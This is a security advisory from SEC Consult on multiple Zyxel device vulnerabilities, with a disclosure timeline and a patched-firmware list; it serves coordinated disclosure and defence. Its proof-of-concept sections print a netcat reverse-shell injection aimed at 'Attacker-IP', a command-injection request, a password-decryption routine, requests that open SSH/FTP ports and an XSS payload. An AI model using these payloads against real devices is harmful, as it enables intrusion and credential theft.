Zyxel Buffer Overflow / File Disclosure / CSRF / XSS / Broken Access Control Vulnerabilities

=======================================================================
               title: Multiple Critical Vulnerabilities
             product: Multiple Zyxel devices
  vulnerable version: For affected products see "Solution" section
       fixed version: see "Solution" section
          CVE number: -
              impact: Critical
            homepage: https://www.zyxel.com
               found: 2020-11-27
                  by: G. Hechenberger (Office Vienna)
                      S. Robertz (Office Vienna)
                      S. Viehböck (Office Vienna)
                      T. Weber (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------

"Focused on innovation and customer-centricity, Zyxel Communications Corp. has
been connecting people to the internet for nearly 30 years. We keep promoting
creativity which meets the needs of customers. This spirit has never been
changed since we developed the world's first integrated 3-in-1 data/fax/voice
modem in 1992. Our ability to adapt and innovate with networking technology
places us at the forefront of understanding connectivity for telco/service
providers, businesses and home users.

We're building the networks of tomorrow, helping unlock the world's potential
and meeting the needs of the modern workplace; powering people at work, life
and play. We stand side-by-side with our customers and partners to share new
approaches to networking that will unleash their abilities. Loyal friend,
powerful ally, reliable resource — we are Zyxel, Your Networking Ally."

Source: https://www.zyxel.com/about_zyxel/company_overview.shtml


Business recommendation:
------------------------
SEC Consult recommends Zyxel customers to upgrade the firmware to the latest
version available.

The collaboration between Zyxel Communications and SEC Consult will further strengthen
Zyxel's cybersecurity strategy by accelerating and optimizing the ability to respond
to threats and vulnerabilities like those described in this advisory.

https://sec-consult.com/blog/detail/zyxel-communications-and-sec-consult-reach-next-level-of-cybersecurity/


Vulnerability overview/description:
-----------------------------------
1) Multiple Unauthenticated Buffer Overflows in zhttpd and libclinkc.so
Multiple unauthenticated buffer overflows have been discovered in the zhttpd web
server. One buffer overflow is extremely simple to trigger as it occurs in the
URI input. In case of an overlong input, the web server crashes as the return
address is overwritten with the input values as the function scanf() without
length check was used. Multiple other buffer overflows can be found in the fol-
lowing functionalities:
* URI parsing in libclinkc.so, if '?' is contained.
* Export_Log functionality.

An attacker can take over the device by using the return-to-zero-protection
technique as ASLR in the used Linux kernel is activated system-wide and the NX
bit is set for the web server binary. Other protection mechanisms like PIE,
stack canaries and relocation read only were not set. The address of libc
shifts due to ASLR and must be brute-forced therefore. This can take up to one
hour. However, on average, an attacker will gain a root shell in less than
30 minutes.


2) Unauthenticated Local File Disclosure in zhttpd
An endpoint in zhttpd can be used to expose system files including
"/etc/passwd" and "/etc/shadow". This endpoint is accessible without prior
login. An attacker can read all files on the system by using this endpoint.


3) Unsafe Storage of Sensitive Data
The device configuration contains passwords stored in a reversible form. Rather
than storing passwords in an appropriate cryptographic hash format, the
passwords are encrypted with a symmetric cipher (AES) using a static key. An
attacker with access to the device configuration (e.g. by exploiting vulnerability
  #2) can decrypt the passwords and use them in further attacks.


4) Authenticated Command Injection
Two command injections were found within the device. One was identified in the
ping diagnostic tool, the other one at the certificate upload. Both led to a
fully compromised system as the web service was started with root permissions.

It is suspected that more command injections are present in the web interface
of the device.


5) Broken Access Control
Various access control vulnerabilities were identified where a lower privileged
user can access functionality of a higher privilege role.
Some functionality is visible in the GUI only if using a user account with full
access permissions. However, it is not visible as standard "admin" user with the
role administrator. It can be exploited, e.g., to open ports for system services
such as SSH and FTP and also to access other functionality intended to be used
by users with full access only.


6) Processing of Symbolic Links in ftpd
The FTP server on the device processes symbolic links on external storage
media, e.g. formatted as NTFS. By creating a symbolic link to the root directory,
this can be abused to get read access to the root file system.


7) Inadequate CSRF Implementation
The web interface provides CSRF tokens, which are implemented as 9-digit
numbers and are transmitted as "sessionkey" parameter. CSRF tokens rely on
unpredictability to fulfill their function. However, an API endpoint exists on
the device, which can be used in an unauthenticated manner to generate and
retrieve a new and valid CSRF token value over the internal network.


8) Stored Cross-Site Scripting
A stored cross-site scripting vulnerability was identified in the printer name
field of the print server menu within the web interface of the device. However,
the possible payload is limited to 32 characters and certain tags.


Proof of concept:
-----------------
1) Multiple Unauthenticated Buffer Overflows in zhttpd and libclinkc.so

URI parsing pseudo code in zhttpd:
-------------------------------------------------------------------------------
char path [256];
[...]
__s = (char *)cg_http_request_geturi(param_1);
pcVar2 = strstr(__s,"Export_Log");
if (pcVar2 != (char *)0x0) {
__isoc99_sscanf(__s,"%*[^?]?%s",path);
return;
}
-------------------------------------------------------------------------------
This code will copy everything following a '?' from the URI to a 256 byte
buffer. As URIs are commonly allowed to contain 2048 characters, the 'path'
buffer can be overflown.

Proof of concept exploit that will obtain a root shell:
-------------------------------------------------------------------------------
< the remote root exploit has been removed from this advisory and will be
   published at a later date >
-------------------------------------------------------------------------------

URI handling pseudo code, when '?' is present, in libclinkc.so, which is called
from zhttpd:
-------------------------------------------------------------------------------
char acStack144 [128];
pcVar2 = strchr(uri_ptr,'?');
if (pcVar2 != (char *)0x0) {
memset(acStack144,0,0x80);
strncpy(acStack144,uri_ptr,(size_t)(pcVar2 + -(int)uri_ptr));
-------------------------------------------------------------------------------
This buffer can be overflown even though strncpy is used, as the copy length
parameter 'n' is user controlled. The attacker will need to request a URL with
more than 128 characters and will then append a '?'.


2) Unauthenticated Local File Disclosure in zhttpd
The endpoint "Export_Log" can be used to fetch arbitrary files as shown in the
following request that accesses the config file "/data/zcfg_config.json":
-------------------------------------------------------------------------------
< POC removed from this advisory >
-------------------------------------------------------------------------------

This endpoint is accessible without prior authentication!

The file '/data/zcfg_config.json' will contain the running configuration of the
router, including all passwords such as SIP credentials!


3) Unsafe Storage of Sensitive Data
There is a proprietary password format by Zyxel denoted by the prefix
"_encrypt_". This is implemented by the function encryptPassword in the binary
"/bin/zcmd". Values in the configuration fields named "Privilege", "Password",
"DefaultPassword" and "OldDefaultPassword" are passed to a function that
derives an AES key using the OpenSSL function EVP_BytesToKey from static data.
The following code snippets are a re-implementation of the key derivation
algorithm. The key has been removed from this advisory.
-------------------------------------------------------------------------------
unsigned char salt[] = { 0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX };
int encrypt_key_length;
char encryptKey[]= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
encrypt_key_length = strlen(encryptKey);
unsigned char key[EVP_MAX_KEY_LENGTH], iv[EVP_MAX_IV_LENGTH];
int datal = encrypt_key_length;
EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), (const unsigned char*)salt,
(const unsigned char*)encryptKey, datal,5,key,iv);
for (int i = 0;i <= EVP_MAX_KEY_LENGTH;i++) {
printf("%02X", key[i]);
}
printf("\n");
for (int i = 0;i <= EVP_MAX_IV_LENGTH;i++) {
printf("%02X", iv[i]);
}
-------------------------------------------------------------------------------
The input for the key derivation is static, so the resulting key and IV are
too. Based on the information the following Python snippet was developed that
decrypts password entries (the key has been removed from this advisory):
-------------------------------------------------------------------------------
def decrypt_zyxel_encrypt(input):
key=bytearray.fromhex(
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
iv=bytearray.fromhex('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
input=input.replace('_encrypt_','')
decoded = b64decode(input)
aes = AES.new(key, AES.MODE_CBC,iv)
decrypted=aes.decrypt(decoded)
print(repr(decrypted))
-------------------------------------------------------------------------------
Decrypting the password can be done with the following command:
 >> decrypt_zyxel_encrypt('_encrypt_xxxxxxxxxxxxxxxxx==')

The same password algorithm was discussed in the context of security research
on the Zyxel VMG8825-T50 before:
https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/


4) Authenticated Command Injection
The input vulnerable to command injection can be found in the menu at
MENU->Maintenance->Diagnostic. The following payload can now be used in the IP
address field to create a reverse shell:
127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Attacker-IP Attacker-Port >/tmp/f &

The second identified possibility for a command injection was the certificate
upload. The endpoint is not visible from the UI for a regular user, however
due to the broken access control, see 6), every user can interact with it.

-------------------------------------------------------------------------------
POST /cgi-bin/Certificates?action=import_local&priv=;touch${IFS}foo&sessionkey=409106100 HTTP/1.1
Host: <IP>
Connection: close
Content-Length: 1498
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarywlxAsQZ1maK9V9E9
Accept: */*
Origin: https://<IP>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<IP>/Certificates
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Session=uUgQobZKw5cUzesePtCAGhyxH3SOCE8W
------WebKitFormBoundarywlxAsQZ1maK9V9E9
Content-Disposition: form-data; name="certImportFileName";
filename="ZyXELcert.crt"
Content-Type: application/pkix-cert
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
------WebKitFormBoundarywlxAsQZ1maK9V9E9—
-------------------------------------------------------------------------------

5) Broken Access Control

As a first example, available user accounts and their privileges can be viewed
by sending a request the following API endpoint:
https://<IP>/cgi-bin/DAL?oid=login_privilege
The response shows usernames invisible in the GUI, here e.g., the "root" user.
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 2906
Date: Thu, 01 Jan 1970 22:59:49 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"result": "ZCFG_SUCCESS",
"ReplyMsg": "Page",
"ReplyMsgMultiLang": "",
"Object": [
{
"Index0": 1,
"Index1": 1,
"Enabled": true,
"Username": "root",
"Password": "",
"EnableQuickStart": true,
"Privilege": "login"
},
[...]
-------------------------------------------------------------------------------
As a second example, the status of system services can be viewed by sending a
request to the following API endpoint:
https://<IP>/cgi-bin/DAL?oid=mgmt_srv
The response shows various system services, here e.g., the SSH service which
is only open for a trusted domain ("Trust_Dm").
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 1271
Date: Thu, 01 Jan 1970 02:18:28 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"result": "ZCFG_SUCCESS",
"ReplyMsg": "RestartDeamon",
"ReplyMsgMultiLang": "",
"Object": [
[...]
{
"Index": 5,
"Name": "SSH",
"Port": 22,
"Mode": "Trust_Dm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,"
},
[...]
-------------------------------------------------------------------------------
Subsequently, services can also be opened. An example request to open the FTP,
SSH and SNMP ports is given below. The request has to be sent in context of an
"admin" user and has to contain a valid "sessionkey" value.
-------------------------------------------------------------------------------
PUT /cgi-bin/DAL?oid=mgmt_srv&sessionkey=575595380 HTTP/1.1
Host: <IP>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
X-Requested-With: XMLHttpRequest
Content-Length: 2097
Origin: https://<IP>
Connection: close
Referer: https://<IP>/RemoteManagement
Cookie: Session=6snfyaikMK5FmMcerni8cJEnzl4IgaFc
[
{
"Index": 1,
"Name": "HTTP",
"Port": 80,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 2,
"Name": "HTTPS",
"Port": 443,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 3,
"Name": "FTP",
"Port": 21,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 4,
"Name": "TELNET",
"Port": 23,
"Mode": "",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 5,
"Name": "SSH",
"Port": 22,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 6,
"Name": "SNMP",
"Port": 161,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 7,
"Name": "PING",
"Port": -1,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false,
"origport": 443,
"otherorigport": 80,
"httpport": 80,
"httpsport": 443
}
]
-------------------------------------------------------------------------------
The response will indicate success and the system will be restarted. Another
request to the API endpoint used before to query the service status will list
the changed SSH mode, now shown as "LAN_TstDm".


6) Processing of Symbolic Links in ftpd
A prepared USB stick, formatted as NTFS and containing a link to the root file
system (created by executing "ln -s / sysroot") is needed to exploit this vul-
nerability.

After placing the USB stick in the USB port of the device, it is automatically
mounted to the admin user's home directory. By using the access control vulne-
rability, described in 6), the FTP port can be opened to allow FTP access via
the internal network.

After connecting to the FTP service using the "admin" credentials, the mounted
USB stick can be accessed and the "sysroot" symbolic link will show the
content of the root file system.


7) Inadequate CSRF Implementation
The following API endpoint can be used without authentication to retrieve a
new CSRF token:
https://<IP>/changeSessionKey
The response contains the new session key, valid for all user accounts. The
current one will be invalidated.
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
Date: Thu, 01 Jan 1970 12:29:50 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
[
{
"SessionKey": 583723980
}
]
-------------------------------------------------------------------------------

8) Stored Cross-Site Scripting
By browsing to "MENU->Network Setting->USB Service->Print Server", the field
"User Defined Printer Name" can be used to place a stored cross-site scripting
payload. The following code was used as proof-of-concept:

P<img src=x onerror=alert('XSS')>

In a PUT request, this action looks like the following listing in the proxy:
-------------------------------------------------------------------------------
PUT /cgi-bin/DAL?oid=print_server&sessionkey=578218320 HTTP/1.1
Host: <IP>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
X-Requested-With: XMLHttpRequest
Content-Length: 106
Origin: <IP>
Connection: close
Cookie: activeMenuID=maintain_settings; activeSubmenuID=log;
Session=Fg2kSHIfZW5mhySEY4vJfrElXE4TSLEl
{
"Enable":false,
"IppMake":"PRINTER",
"IppDevice":"/dev/printer0",
"IppName":"P<img src=x onerror=alert('XSS')>"
}
-------------------------------------------------------------------------------
The printer name will be stored and displayed on the same page, executing the
payload.


Vulnerable / tested versions:
-----------------------------
Multiple devices are affected. See section "solution" for the list of affected models
provided by the vendor including the patched firmware version. All firmware older than
those listed are affected.


Vendor contact timeline:
------------------------
2021-01-21 | Contacting vendor via [email protected] Received confirmation
              from Zyxel employee.
2021-02-09 | Zyxel confirms vulnerabilities and is working on a fix. Zyxel asks
              for more time; extended advisory disclosure date to 2021-05-20.
2021-04-09 | Asked for an update.
2021-04-13 | Zyxel stated that updates on the issues will be provided soon.
2021-04-28 | Phone call with Zyxel. Zyxel contact stated that all issues were
              resolved.
2021-05-01 | Zyxel stated that a status update will follow in the next weeks.
2021-05-19 | Zyxel PSIRT sent a list with feedback to all discovered issues.
2021-06-01 | Zyxel PSIRT updated the list and added a patch plan including timing.
              Updates the earliest updates on the security issues were scheduled
              for Q3 2021.
2021-09-02 | Status meeting with Zyxel. The advisory disclosure shifts back to
              Q4 2021 due to more affected products.
2021-11-07 | Security advisory disclosure plan discussion with Zyxel. Vendor stated
              that more products must be internally reviewed. The advisory can be released
              in Q1 2022 if no further devices are affected .
2022-01-25 | Asking vendor regarding coordinated advisory release date.
2022-02-03 | Asking vendor again for a status update.
2022-02-07 | Vendor reply that affected models are still being consolidated.
2022-02-10 | Received final list of affected models.
2022-02-15 | Zyxel publishes their security advisory.
2022-02-15 | Coordinated release of security advisory.


Solution:
---------
Install the current version of the firmware for the affected product. According to the
vendor, the following firmware versions fix the identified security issues:

Affected EOL products (list not necessarily complete) which will not get an update:

AMG1302-T11C           EOL
VMG3925-B10C           EOL
VMG8924-B10D           EOL
VMG1312-B10D           EOL
VMG3312-T20A           EOL
VMG3625-T20A           EOL
VMG3925-B10B           EOL
VMG3925-B10C           EOL
VMG3925-B30C           EOL
VMG3926-B10A           EOL
VMG5313-B10B           EOL
VMG5313-B30B           EOL
VMG8623-T50A           EOL
VMG8823-B10B           EOL
VMG8823-B30B           EOL
VMG8823-B50B           EOL
VMG8823-B60B           EOL
VMG8924-B10D           EOL
VMG8924-B30D           EOL
PMG5317-T20A           EOL


Affected product       Model / Patch availability
CPE:
DX3301-T0              V5.50(ABVY.3)C0 in Sep. 2022*
DX5401-B0              V5.17(ABYO.1)C0*
EMG3525-T50B           EMEA - V5.50(ABPM.6)C0*
                        S. America - V5.50(ABSL.0)b12 in Sep. 2022*
EMG5523-T50B           EMEA - V5.50(ABPM.6)C0*
                        S. America - V5.50(ABSL.0)b12 in Sep. 2022*
EMG5723-T50K           V5.50(ABOM.7)C0*
EX3301-T0              V5.50(ABVY.3)C0 in Sep. 2022*
EX5401-B0              V5.17(ABYO.1)C0*
EX5501-B0              V5.17(ABRY.2)C0*
LTE3301-PLUS           V1.00(ABQU.3)C0*
LTE7240-M403           V2.00(ABMG.4)C0*
VMG1312-T20B           V5.50(ABSB.5)C0*
VMG3625-T50B           V5.50(ABPM.6)C0*
VMG3927-B50A           V5.17(ABMT.6)C0*
VMG3927-B60A           V5.17(ABMT.6)C0*
VMG3927-T50K           V5.50(ABOM.7)C0*
VMG4005-B50A           V5.15(ABQA.2)C0 in Mar. 2022*
VMG8623-T50B           V5.50(ABPM.6)C0*
VMG8825-B50A           V5.17(ABMT.6)C0*
VMG8825-B50B           V5.17(ABNY.7)C0*
VMG8825-B60A           V5.17(ABMT.6)C0*
VMG8825-B60B           V5.17(ABNY.7)C0*
VMG8825-T50K           V5.50(ABOM.7)C0*
XMG3927-B50A           V5.17(ABMT.6)C0*
XMG8825-B50A           V5.17(ABMT.6)C0*

Firewall:
VPN2S                  V1.20(ABLN.2)_00210319C1*

ONT:
AX7501-B0              V5.17(ABPC.1)C0*
EP240P                 V5.40(ABVH.1)C0 in May 2022*
PMG5317-T20B           V5.40(ABKI.4)C0 in Apr. 2022*
PMG5617GA              V5.40(ABNA.2)C0 in Apr. 2022*
PMG5622GA              V5.40(ABNB.2)C0 in Apr. 2022*

WiFi extender:
WX3100-T0              V5.50(ABVL.1)C0 in Mar. 2022*
WX3401-B0              V5.17(ABVE.1)C0*

WiFi system:
WSQ50 (Multy X)        V2.20(ABKJ.7)C0
WSQ60 (Multy Plus)     V2.20(ABND.8)C0

*Please reach out to your local Zyxel support team for the updated firmware file.


For further information, please see the vendor's advisory as well:
https://www.zyxel.com/support/Zyxel-security-advisory-for-multiple-vulnerabilities.shtml

Page from the vendor regarding affected devices:
https://www.zyxel.com/support/Zyxel-security-advisory-for-multiple-vulnerabilities_Products.shtml